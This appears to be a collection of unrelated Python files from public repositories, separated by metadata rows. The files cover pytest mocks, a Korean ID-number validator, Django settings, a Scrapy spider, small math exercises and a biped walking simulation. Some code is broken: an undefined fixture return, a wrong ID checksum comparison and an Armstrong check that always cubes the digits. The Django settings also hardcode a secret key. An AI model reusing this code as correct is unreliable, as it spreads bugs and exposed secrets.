@pytest.fixture
def mock_get_transfer_client(monkeypatch, mock_ls_response):
"""Mocking the 'get_transfer_client' function"""
mock_transfer_instance = Mock()
mock_transfer_instance.operation_ls.return_value = mock_ls_response
mock_get_tc = Mock(return_value=mock_transfer_instance)
monkeypatch.setattr(testfuncs, 'get_transfer_client', mock_get_tc)
return mock_operation_ls
def test_make_directory(mock_get_transfer_client):
"""Testing the creation of a new directory (using operation_mkdir)"""
response_str = testfuncs.make_directory()
assert response_str == "Success"
def test_rename(mock_get_transfer_client):
"""Testing the rename operation (operation_rename)"""
response_str = testfuncs.rename()
assert response_str == "Success"
def test_count_files(mock_operation_ls):
output = testfuncs.count_files()
assert output == 2
def test_count_files_again(mock_get_transfer_client):
output = testfuncs.count_files()
assert output == 2
def test_dir_exists():
dirs = testfuncs.get_dir_names()
assert 'shared_dir' in dirs
def test_file_exists():
files = testfuncs.get_file_names()
assert 'file1.txt' in files
def get(mock_get_transfer_client):
pass
def save(mock_get_transfer_client):
pass
def delete_file(mock_get_transfer_client):
pass
|
[
"netta.en@gmail.com"
] |
netta.en@gmail.com
|
9e1b09e46ad8b3cb9a2629079e9ecbfc3da05a97
|
968b33e7931bbbf32cfb8e7a7a9f7654778b3577
|
/prob 101~130/prob 129.py
|
c697ef406f1de7defed6f216dfeaff993ff23365
|
[] |
no_license
|
hoki1678/2020_Programming
|
f5ac77f07baad0fa7c231a224c546cc4e3231080
|
5778c340411d20cdc92c9a45eea14b4960b9ed0e
|
refs/heads/master
| 2022-11-22T21:24:05.468796
| 2020-07-25T02:55:19
| 2020-07-25T02:55:19
| 256,646,258
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 391
|
py
|
#129
a=input("주민등록번호를 입력하세요.: ")
b=(int(a[0])*2 + int(a[1])*3 + int(a[2])*4 + int(a[3])*5 + int(a[4])*6 + int(a[5])*7 + int(a[7])*8 + int(a[8])*9 + int(a[9])*2 + int(a[10])*3 + int(a[11])*4 + int(a[12])*5)
c=b%11
if c == a[13:]:
print("유효한 주민등록번호입니다.")
else:
print("유효하지 않은 주민등록번호입니다.")
|
[
"noreply@github.com"
] |
hoki1678.noreply@github.com
|
da106758572a7ac440addece5128e3cf9cf417b4
|
4c0a2efb54a87e8419c530e49173484660021c16
|
/src/demo_hic_et_nunc/types/hen_minter/parameter/swap.py
|
7c54aa138c71b7a9035676794c8af5b23cf473d0
|
[
"MIT"
] |
permissive
|
jellybazil/dipdup-py
|
7cc6641b7a25379034be401626d91d17d2493f43
|
950b086effbfce78080461ecc2f959ba7a8ba998
|
refs/heads/master
| 2023-08-12T06:50:01.445161
| 2021-10-16T20:52:29
| 2021-10-16T20:52:29
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 279
|
py
|
# generated by datamodel-codegen:
# filename: swap.json
from __future__ import annotations
from pydantic import BaseModel, Extra
class SwapParameter(BaseModel):
class Config:
extra = Extra.forbid
objkt_amount: str
objkt_id: str
xtz_per_objkt: str
|
[
"noreply@github.com"
] |
jellybazil.noreply@github.com
|
53977bf089d82553874f17592e4816552cc6084d
|
c9731d11c7e0a363b98849a95a43e28114375924
|
/Medium/ArmstrongNumber.py
|
f4d036541234f0dc70beaaefe4694cc40b35741a
|
[] |
no_license
|
kanuos/solving-https-github.com-ProgrammingHero1-100-plus-python-coding-problems-with-solutions
|
009103de05d5a6fa8ab072f75d1080c207b1b57d
|
1b37942e83118bba26c490dfb79e7b99d006961c
|
refs/heads/main
| 2023-04-07T00:45:00.907554
| 2021-04-14T22:07:32
| 2021-04-14T22:07:32
| 356,587,876
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,122
|
py
|
# Armstrong number.
# A number is an Armstrong Number or narcissistic number
# if it is equal to the sum of its own digits raised to the power of the number of digits.
def is_armstrong(number: int) -> bool:
sum_of_cubes = 0
temp = number
while temp > 0:
sum_of_cubes += (temp % 10) ** 3
temp //= 10
return sum_of_cubes == number
def nearest_armstrong(number):
pre = 0
print("Checking for nearest Armstrong Numbers. Please wait...")
for i in range(number, 1, -1):
if is_armstrong(i):
pre = i
break
while True:
number += 1
if is_armstrong(number):
post = number
break
print("Found nearest Armstrong Numbers")
return pre, post
try:
num = int(input("Enter a number : "))
if is_armstrong(num):
print(f"{num} is an Armstrong Number")
else:
print(f"{num} is not an Armstrong Number")
before, after = nearest_armstrong(num)
print(f"The nearest Armstrong Numbers of {num} are {before} and {after}")
except ValueError:
print("Input must be a number")
|
[
"sounakmukherjee@ymail.com"
] |
sounakmukherjee@ymail.com
|
b148450073878633fd932fa4d080860c99ef9e3c
|
8fef9b5472f031385a3c0145d94f95e03e2cecbc
|
/Latino.py
|
d1ce8a1a0b5f878f705868b3bc9c0ba4d3e92d55
|
[] |
no_license
|
RoyFlo360/ITQ-IA
|
cc709f2de12eeeee890b01c74a6a6ebc6d5f696a
|
8c7dba35eb0b1bb5c7f29a03edc90abf28db2d6a
|
refs/heads/master
| 2023-06-05T06:46:11.118285
| 2021-06-27T18:23:17
| 2021-06-27T18:23:17
| 380,809,737
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 770
|
py
|
orden = int(input("Ingrese el Orden del Cuadrado : "))
nInicial = int(input("Ingrese el Número Inicial : "))
while (nInicial > orden):
print("El numero superior izquierdo debe de ser menor o igual al orden del cuadrado")
nInicial = int(input("Ingrese el Número Inicial : "))
arreglo = []
nInicialF = nInicial
for fil in range(0, orden):
aAux = []
nInicialC = nInicialF
for col in range(0, orden):
aAux.append(nInicialC)
nInicialC += 1
if (nInicialC > orden):
nInicialC = 1
arreglo.append(aAux)
nInicialF += 1
if (nInicialF > orden):
nInicialF = 1
print()
for fil in range(0, orden):
for col in range(0, orden):
print(arreglo[fil][col], end=" ")
print()
|
[
"l16140648@queretaro.tecnm.mx"
] |
l16140648@queretaro.tecnm.mx
|
ced957c5f5648e9b066bb688b28dddf47767fc8e
|
a808067d0becc34f4f5bf49ca80bfdeaa5f52d37
|
/utils/readYaml.py
|
9106be7525b8aae495bea5b8801d40c7d383cc45
|
[] |
no_license
|
ir3lia/interfaceAutoTest
|
08595e46daa9cbe7e2f1f7511c864726b26ca6cd
|
70f6cc8d50680b17bad686f45b36f9f36e0a1ac9
|
refs/heads/master
| 2023-02-01T19:26:59.899806
| 2020-12-16T09:46:02
| 2020-12-16T09:46:02
| 321,935,871
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,108
|
py
|
import yaml
def get_test_data(test_data_path):
case = [] # 存储测试用例名称
http = [] # 存储请求对象
expected = [] # 存储预期结果
with open(test_data_path) as f:
dat = yaml.load(f.read(), Loader=yaml.SafeLoader)
test = dat['tests']
for td in test:
case.append(td.get('case', ''))
http.append(td.get('http', {}))
expected.append(td.get('expected', {}))
parameters = zip(case,http, expected)
return case, parameters
def get_config(test_host_path,type):
configs = [] # 存储预期结果
with open(test_host_path) as f:
dat = yaml.load(f.read(), Loader=yaml.SafeLoader)
config = dat['config']
for td in config:
configs.append(td.get(type, {}))
return configs
def get_apiPath(test_api_path):
apipaths = [] # 存储预期结果
with open(test_api_path) as f:
dat = yaml.load(f.read(), Loader=yaml.SafeLoader)
apiPath = dat['apiPath']
for td in apiPath:
apipaths.append(td.get('paths', {}))
return apipaths
|
[
"“13869517521@163.com"
] |
“13869517521@163.com
|
2fef377287f3c5888e9dcadefea6692585b5f955
|
f109a3176900e1148452201b355be90390f289fc
|
/src/blogify/settings.py
|
645d75a79823d9b11aaa46c40cde6fc504109744
|
[] |
no_license
|
Stretchddt/Blog
|
2d4d6f0ddd0f4708a0ff28c036341d887127c71b
|
3d27fb72e9cf794378e96a0ce1e2dc25d93fc7cb
|
refs/heads/master
| 2023-01-14T15:46:00.810709
| 2020-11-16T16:31:51
| 2020-11-16T16:31:51
| 313,278,693
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,494
|
py
|
"""
Django settings for blogify project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
import os
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'qmu#byqt%9+-s!lgnykjya)494-r(bw_a1*=2ae)^n@9m-o@d5'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'profiles',
'posts',
'users',
'crispy_forms',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'blogify.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'blogify.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
CRISPY_TEMPLATE_PACK = 'bootstrap4'
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, 'static_project')
]
STATIC_ROOT = os.path.join(os.path.dirname(BASE_DIR), "static_cdn", "static_root")
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(os.path.dirname(BASE_DIR), "static_cdn", "media_root")
LOGIN_URL = 'users-login'
|
[
"thomsontkd1@gmail.com"
] |
thomsontkd1@gmail.com
|
2aa099e77ec976eea8a2ce7424afac7d5124999a
|
b0c2a8c77fc0e025690e59f990950b6eb347c4c3
|
/corpus_builder/spiders/newspaper/janakantha.py
|
f0a39957ada5c7a106bab473fa6104a3258d95fb
|
[
"MIT"
] |
permissive
|
ibraheem-moosa/corpus-builder
|
1b31cbc501026436e5ebde2e363379b6fc094dd0
|
5f09835f9aa62abb5f891c4d3896206eedd9fe12
|
refs/heads/master
| 2020-08-06T21:39:31.700339
| 2018-08-24T14:00:18
| 2018-08-24T14:00:18
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,923
|
py
|
# -*- coding: utf-8 -*-
import datetime
import urlparse
import scrapy
from corpus_builder.templates.spider import CommonSpider
class JanakanthaSpider(CommonSpider):
name = "janakantha"
allowed_domains = ["dailyjanakantha.com"]
base_url = 'https://www.dailyjanakantha.com'
start_request_url = base_url
content_body = {
'css': 'p.artDetails *::text'
}
allowed_configurations = [
['start_date'],
['start_date', 'end_date'],
['category', 'start_date'],
['category', 'start_date', 'end_date'],
]
def request_index(self, response):
menu_links = [urlparse.urlparse(x.strip()).path.split('/')[-1] \
for x in response.css('nav.menu a::attr("href")').extract()]
categories = [x for x in menu_links if (not x == "" and not x == "#")]
if self.category is not None:
if self.category in categories:
categories = [self.category]
else:
raise ValueError('invalid category slug. available slugs: %s' % ", ".join(categories))
date_processing = self.start_date
while date_processing <= self.end_date:
for category in categories:
# https://www.dailyjanakantha.com/frontpage/date/2016-06-01
url = self.base_url + '/{0}/date/{1}'.format(
category,
date_processing.strftime('%Y-%m-%d')
)
yield scrapy.Request(url, callback=self.extract_news_category)
date_processing += datetime.timedelta(days=1)
def extract_news_category(self, response):
news_links = list(set(response.xpath('//div[@class="content"]//a').extract()))
for link in news_links:
if not link[:4] == 'http':
link = self.base_url + link
yield scrapy.Request(link, callback=self.parse_content)
|
[
"aniruddha@adhikary.net"
] |
aniruddha@adhikary.net
|
fe54aba99af7334fa816a9c0282b522dea6e026c
|
8d55d41a4f5c0b89331cac714c1525e9581d9720
|
/WalkingFoot/main_RevisionExamples2.py
|
18a2303fe1a6b91bde48556986a9ae98c1b31b48
|
[
"Apache-2.0"
] |
permissive
|
hpgit/HumanFoot
|
8cf35ceeeb35a0371e03eaf19d6da58dc01487eb
|
f9a1a341b7c43747bddcd5584b8c98a0d1ac2973
|
refs/heads/master
| 2022-04-13T23:38:19.072203
| 2019-12-06T06:36:10
| 2019-12-06T06:36:10
| 41,348,141
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 43,724
|
py
|
from fltk import *
import copy, os.path, cPickle, time
import numpy as np
import sys
if '../PyCommon/modules' not in sys.path:
sys.path.append('../PyCommon/modules')
import Math.mmMath as mm
import Math.csMath as cm
import Math.ysFunctionGraph as yfg
import Renderer.ysRenderer as yr
import Renderer.csVpRenderer as cvr
import Simulator.csVpWorld as cvw
import Simulator.csVpModel as cvm
import Simulator.ysVpUtil as yvu
import GUI.ysSimpleViewer as ysv
import GUI.ysMultiViewer as ymv
import ArticulatedBody.ysControl as yct
import ArticulatedBody.ysReferencePoints as yrp
import Motion.ysMotionAnalysis as yma
import Motion.ysBipedAnalysis as yba
import Motion.ysMotion as ym
import Motion.ysMotionBlend as ymb
import Motion.ysMotionExtend as ymt
import Motion.ysSkeletonEdit as yhe
import Motion.mmAnalyticIK as aik
import Util.ysMatplotEx as ymp
import Resource.ysMotionLoader as yf
import Simulator.ysPhysConfig as ypc
MOTION_COLOR = (213,111,162)
CHARACTER_COLOR = (20,166,188)
#BOX_COLOR = (255,204,153)
BOX_COLOR = (235,184,133)
def push_simbicon_mass():
# Trunk 29.27
# Head 5.89
# Pelvis 16.61
# Thigh 8.35
# Shank 4.16
# Foot 1.34
# Arm 2.79
# Forearm 1.21
# Hand 0.55
class ForceInfo:
def __init__(self, startFrame, duration, force):
self.startFrame = startFrame # frame
self.duration = duration # sec
self.force = force # Newton
self.targetBody = None
#===============================================================================
# load motion
#===============================================================================
MULTI_VIEWER = False
CAMERA_TRACKING = True
TORQUE_PLOT = False
# global parameters
Kt = 60.; Dt = 2*(Kt**.5)
Ks = 4000.; Ds = 2*(Ks**.5)
K_stb_vel = .1
mu = 2.
# constaants
c_min_contact_vel = 100.
# c_min_contact_vel = 2.
c_min_contact_time = .7
c_landing_duration = .2
c_taking_duration = .3
# c_swf_mid_offset = .0
c_swf_mid_offset = .02
c_swf_stability = .5
c_locking_vel = .05
# c_swf_offset = .0
c_swf_offset = .01
# c_swf_offset = .005
K_stp_pos = 0.
# c5 = .5; c6 = .01
c5 = .5; c6 = .02
# c5 = .5; c6 = .05
# c5 = 1.; c6 = .05
# c5 = .0; c6 = .0
K_stb_vel = .1
K_stb_pos = .1
OLD_SWING_HEIGHT = False
# OLD_SWING_HEIGHT = True
HIGHER_OFFSET = True
# HIGHER_OFFSET = False
dir = './ppmotion/'
# max push
# forceInfos = []
# maximum
# forceInfos = [ForceInfo(4*i*30, .4, (160,0,0)) for i in range(2,12)]
# forceInfos = [ForceInfo(4*i*30, .4, (-130,0,0)) for i in range(2,12)]
# forceInfos = [ForceInfo(4*i*30, .4, (0,0,80)) for i in range(2,12)]
forceInfos = [ForceInfo(4*i*30+1, .4, (0,0,-105)) for i in range(2,12)]
# # maximum with more checking
# forceInfos = [ForceInfo(4*i*30, .4, (145,0,0)) for i in range(2,12)]
# forceInfos = [ForceInfo(4*i*30+1, .4, (-120,0,0)) for i in range(2,12)]
# forceInfos = [ForceInfo(4*i*30+1, .4, (0,0,80)) for i in range(2,12)]
# forceInfos = [ForceInfo(4*i*30, .4, (0,0,-105)) for i in range(2,12)]
# # for video
# forceInfos = [ForceInfo(4*i*30+2, .4, (160,0,0)) for i in range(2,4)] \
# + [ForceInfo(4*i*30+2, .4, (0,0,-105)) for i in range(4,6)] \
# + [ForceInfo(4*i*30+2, .4, (-130,0,0)) for i in range(6,8)] \
# + [ForceInfo(4*i*30+2, .4, (0,0,80)) for i in range(8,10)]
# Kt = 40.; Dt = 2*(Kt**.5)
# Ks = 3000.; Ds = 2*(Ks**.5)
# mu = 1.
# c_swf_mid_offset = .04
# K_swp_vel_sag = .0; K_swp_vel_sag_faster = .0;
# K_swp_pos_sag = 1.5; K_swp_pos_sag_faster = .1;
# K_swp_vel_cor = .25; K_swp_pos_cor = .3
# K_stp_pos = 0.
# K_stb_vel = .02
# K_stb_pos = .15
Kt = 40.; Dt = 2*(Kt**.5)
Ks = 3000.; Ds = 2*(Ks**.5)
mu = 1.5
c_swf_mid_offset = .04
K_swp_vel_sag = .05; K_swp_vel_sag_faster = .0;
K_swp_pos_sag = 1.7; K_swp_pos_sag_faster = .1;
K_swp_vel_cor = .25; K_swp_pos_cor = .3
# K_stb_vel = .02
# K_stb_pos = .15
filename = 'wd2_WalkSameSame01_REPEATED.bvh'
motion_ori = yf.readBvhFile(dir+filename)
frameTime = 1/motion_ori.fps
if 'REPEATED' in filename:
REPEATED = True
CAMERA_TRACKING = True
else:
REPEATED = False
#===============================================================================
# options
#===============================================================================
SEGMENT_EDITING = True
STANCE_FOOT_STABILIZE = True
MATCH_STANCE_LEG = True
SWING_FOOT_PLACEMENT = True
SWING_FOOT_HEIGHT = True
if '_FOOT' in filename:
SWING_FOOT_ORIENTATION = True
else:
SWING_FOOT_ORIENTATION = False
STANCE_FOOT_PUSH = True
STANCE_FOOT_BALANCING = True
stitch_func = lambda x : 1. - yfg.hermite2nd(x)
stf_stabilize_func = yfg.concatenate([yfg.hermite2nd, yfg.one], [c_landing_duration])
match_stl_func = yfg.hermite2nd
# match_stl_func_y = yfg.hermite2nd
swf_placement_func = yfg.hermite2nd
swf_height_func = yfg.hermite2nd
swf_height_sine_func = yfg.sine
# stf_balancing_func = yfg.concatenate([yfg.hermite2nd, yfg.one], [c_landing_duration])
stf_balancing_func = yfg.hermite2nd
#===============================================================================
# initialize character
#===============================================================================
# mcfgfile = open(dir + 'mcfg', 'r')
mcfgfile = open('mcfg_simbicon', 'r')
mcfg = cPickle.load(mcfgfile)
mcfgfile.close()
wcfg = ypc.WorldConfig()
wcfg.planeHeight = 0.
wcfg.useDefaultContactModel = False
wcfg.lockingVel = c_locking_vel
stepsPerFrame = 30
wcfg.timeStep = (frameTime)/stepsPerFrame
vpWorld = cvw.VpWorld(wcfg)
motionModel = cvm.VpMotionModel(vpWorld, motion_ori[0], mcfg)
controlModel = cvm.VpControlModel(vpWorld, motion_ori[0], mcfg)
vpWorld.initialize()
print controlModel
motionModel.recordVelByFiniteDiff()
controlModel.initializeHybridDynamics()
#===============================================================================
# load segment info
#===============================================================================
skeleton = motion_ori[0].skeleton
segname = os.path.splitext(filename)[0]+'.seg'
segfile = open(dir+segname, 'r')
seginfo = cPickle.load(segfile)
segfile.close()
intervals = [info['interval'] for info in seginfo]
states = [info['state'] for info in seginfo]
temp_motion = copy.deepcopy(motion_ori)
segments = yma.splitMotionIntoSegments(temp_motion, intervals)
print len(intervals), 'segments'
for i in range(len(intervals)):
print '%dth'%i, yba.GaitState.text[states[i]], intervals[i], ',',
print
motion_seg_orig = ym.JointMotion()
motion_seg_orig += segments[0]
motion_seg = ym.JointMotion()
motion_seg += segments[0]
motion_stitch = ym.JointMotion()
motion_stitch += segments[0]
motion_stf_stabilize = ym.JointMotion()
motion_match_stl = ym.JointMotion()
motion_swf_placement = ym.JointMotion()
motion_swf_height = ym.JointMotion()
motion_swf_orientation = ym.JointMotion()
motion_stf_balancing = ym.JointMotion()
motion_stf_push = ym.JointMotion()
motion_control = ym.JointMotion()
motion_debug1 = ym.JointMotion()
motion_debug2 = ym.JointMotion()
motion_debug3 = ym.JointMotion()
P = ym.JointMotion()
P_hat = ym.JointMotion()
M_tc = ym.JointMotion()
M_hat_tc_1 = ym.JointMotion()
#===============================================================================
# loop variable
#===============================================================================
seg_index = [0]
acc_offset = [0]
extended = [False]
prev_R_swp = [None]
stl_y_limit_num = [0]
stl_xz_limit_num = [0]
avg_dCM = [mm.O_Vec3()]
# avg_stf_v = [mm.O_Vec3()]
# avg_stf_av = [mm.O_Vec3()]
# stf_push_func = [yfg.zero]
step_length_cur = [0.]
step_length_tar = [0.]
step_axis = [mm.O_Vec3()]
#===============================================================================
# information
#===============================================================================
bodyIDsToCheck = range(vpWorld.getBodyNum())
mus = [mu]*len(bodyIDsToCheck)
bodyMasses = controlModel.getBodyMasses()
totalMass = controlModel.getTotalMass()
lID = controlModel.name2id('LeftFoot'); rID = controlModel.name2id('RightFoot')
lUpLeg = skeleton.getJointIndex('LeftUpLeg');rUpLeg = skeleton.getJointIndex('RightUpLeg')
lKnee = skeleton.getJointIndex('LeftLeg'); rKnee = skeleton.getJointIndex('RightLeg')
lFoot = skeleton.getJointIndex('LeftFoot'); rFoot = skeleton.getJointIndex('RightFoot')
spine = skeleton.getJointIndex('Spine')
uppers = [skeleton.getJointIndex(name) for name in ['Hips', 'Spine', 'Spine1', 'LeftArm', 'LeftForeArm', 'RightArm', 'RightForeArm']]
upperMass = sum([bodyMasses[i] for i in uppers])
lLegs = [skeleton.getJointIndex(name) for name in ['LeftUpLeg', 'LeftLeg', 'LeftFoot']]
rLegs = [skeleton.getJointIndex(name) for name in ['RightUpLeg', 'RightLeg', 'RightFoot']]
allJoints = set(range(skeleton.getJointNum()))
halfFootHeight = controlModel.getBodyShape(lFoot)[1] / 2.
for fi in forceInfos:
fi.targetBody = spine
#===========================================================================
# data collection
#===========================================================================
rhip_torques = []
rknee_torques = []
rankle_torques = []
#===============================================================================
# rendering
#===============================================================================
rd_CM = [None]; rd_CP = [None]; rd_CMP = [None]
rd_forces = [None]; rd_force_points = [None]
rd_torques = []; rd_joint_positions = []
rd_point1 = [None]
rd_point2 = [None]
rd_vec1 = [None]; rd_vecori1 = [None]
rd_vec2 = [None]; rd_vecori2 = [None]
rd_frame1 = [None]
rd_frame2 = [None]
if MULTI_VIEWER:
viewer = ymv.MultiViewer(800, 655, True, wheelWork=True)
# viewer = ymv.MultiViewer(1600, 1255)
viewer.setRenderers1([cvr.VpModelRenderer(motionModel, MOTION_COLOR, yr.POLYGON_FILL)])
viewer.setRenderers2([cvr.VpModelRenderer(controlModel, CHARACTER_COLOR, yr.POLYGON_FILL),
yr.ForcesRenderer(rd_forces, rd_force_points, (255,0,0), ratio=.01, lineWidth=.04, fromPoint=False)])
# viewer.glWindow2.groundOffset[0] -= 10
viewer.glWindow2.groundSize = 100
else:
viewer = ysv.SimpleViewer()
# viewer.record(False)
# viewer.doc.addRenderer('motionModel', cvr.VpModelRenderer(motionModel, (0,150,255), yr.POLYGON_LINE))
viewer.doc.addRenderer('controlModel', cvr.VpModelRenderer(controlModel, (200,200,200), yr.POLYGON_LINE))
# viewer.doc.addObject('motion_ori', motion_ori)
# viewer.doc.addRenderer('motion_ori', yr.JointMotionRenderer(motion_ori, (0,100,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_seg_orig', yr.JointMotionRenderer(motion_seg_orig, (0,100,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_seg', yr.JointMotionRenderer(motion_seg, (0,150,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_stitch', yr.JointMotionRenderer(motion_stitch, (0,255,200), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_stf_stabilize', yr.JointMotionRenderer(motion_stf_stabilize, (255,0,0), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_match_stl', yr.JointMotionRenderer(motion_match_stl, (255,200,0), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_swf_placement', yr.JointMotionRenderer(motion_swf_placement, (255,100,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_swf_height', yr.JointMotionRenderer(motion_swf_height, (50,255,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_swf_orientation', yr.JointMotionRenderer(motion_swf_orientation, (255,100,0), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_stf_push', yr.JointMotionRenderer(motion_stf_push, (50,255,200), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_stf_balancing', yr.JointMotionRenderer(motion_stf_balancing, (255,100,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_control', yr.JointMotionRenderer(motion_control, (255,0,0), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_debug1', yr.JointMotionRenderer(motion_debug1, (0,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_debug2', yr.JointMotionRenderer(motion_debug2, (255,0,255), yr.LINK_BONE))
# viewer.doc.addRenderer('motion_debug3', yr.JointMotionRenderer(motion_debug3, (255,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('M_tc', yr.JointMotionRenderer(M_tc, (255,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('P_hat', yr.JointMotionRenderer(P_hat, (255,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('P', yr.JointMotionRenderer(P, (255,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('M_hat_tc_1', yr.JointMotionRenderer(M_hat_tc_1, (255,255,0), yr.LINK_BONE))
# viewer.doc.addRenderer('rd_CM', yr.PointsRenderer(rd_CM, (255,255,0)))
# viewer.doc.addRenderer('rd_CP', yr.PointsRenderer(rd_CP, (255,0,0)))
# viewer.doc.addRenderer('rd_CMP', yr.PointsRenderer(rd_CMP, (0,255,0)))
viewer.doc.addRenderer('forces', yr.ForcesRenderer(rd_forces, rd_force_points, (255,0,0), ratio=.01, lineWidth=.04, fromPoint=False))
# viewer.doc.addRenderer('torques', yr.VectorsRenderer(rd_torques, rd_joint_positions, (255,0,0)))
# viewer.doc.addRenderer('rd_point1', yr.PointsRenderer(rd_point1, (0,255,0)))
# viewer.doc.addRenderer('rd_point2', yr.PointsRenderer(rd_point2, (255,0,0)))
# viewer.doc.addRenderer('rd_vec1', yr.VectorsRenderer(rd_vec1, rd_vecori1, (255,0,0)))
# viewer.doc.addRenderer('rd_vec2', yr.VectorsRenderer(rd_vec2, rd_vecori2, (0,255,0)))
# viewer.doc.addRenderer('rd_frame1', yr.FramesRenderer(rd_frame1, (0,200,200)))
# viewer.doc.addRenderer('rd_frame2', yr.FramesRenderer(rd_frame2, (200,200,0)))
# viewer.setMaxFrame(len(motion_ori)-1)
if not REPEATED:
viewer.setMaxFrame(len(motion_ori)-1)
else:
viewer.setMaxFrame(1440)
if CAMERA_TRACKING:
if MULTI_VIEWER:
cameraTargets1 = [None] * (viewer.getMaxFrame()+1)
cameraTargets2 = [None] * (viewer.getMaxFrame()+1)
else:
cameraTargets = [None] * (viewer.getMaxFrame()+1)
if TORQUE_PLOT:
rhip_torques = [0.]*viewer.getMaxFrame()
rknee_torques = [0.]*viewer.getMaxFrame()
rankle_torques = [0.]*viewer.getMaxFrame()
pt = [0.]
def postFrameCallback_Always(frame):
if frame==1: pt[0] = time.time()
if frame==31: print 'elapsed time for 30 frames:', time.time()-pt[0]
if CAMERA_TRACKING:
if MULTI_VIEWER:
if cameraTargets1[frame]==None:
cameraTargets1[frame] = motionModel.getBodyPositionGlobal(0)
# cameraTargets1[frame] = motion_ori[frame].getJointPositionGlobal(0)
viewer.setCameraTarget1(cameraTargets1[frame])
if cameraTargets2[frame]==None:
cameraTargets2[frame] = controlModel.getJointPositionGlobal(0)
viewer.setCameraTarget2(cameraTargets2[frame])
else:
if cameraTargets[frame]==None:
cameraTargets[frame] = controlModel.getJointPositionGlobal(0)
viewer.setCameraTarget(cameraTargets[frame])
if plot!=None:
plot.updateVline(frame)
viewer.setPostFrameCallback_Always(postFrameCallback_Always)
plot = None
# plot = ymp.InteractivePlot()
if plot!=None:
plot.setXlimit(0, len(motion_ori))
plot.setYlimit(0., 1.)
plot.addDataSet('zero')
plot.addDataSet('diff')
plot.addDataSet('debug1')
plot.addDataSet('debug2')
def viewer_onClose(data):
if plot!=None:
plot.close()
viewer.onClose(data)
viewer.callback(viewer_onClose)
def simulateCallback(frame):
# seginfo
segIndex = seg_index[0]
curState = seginfo[segIndex]['state']
curInterval = yma.offsetInterval(acc_offset[0], seginfo[segIndex]['interval'])
stanceLegs = seginfo[segIndex]['stanceHips']
swingLegs = seginfo[segIndex]['swingHips']
stanceFoots = seginfo[segIndex]['stanceFoots']
swingFoots = seginfo[segIndex]['swingFoots']
swingKnees = seginfo[segIndex]['swingKnees']
groundHeight = seginfo[segIndex]['ground_height']
# maxStfPushFrame = seginfo[segIndex]['max_stf_push_frame']
prev_frame = frame-1 if frame>0 else 0
# prev_frame = frame
# information
# dCM_tar = yrp.getCM(motion_seg.getJointVelocitiesGlobal(frame), bodyMasses, upperMass, uppers)
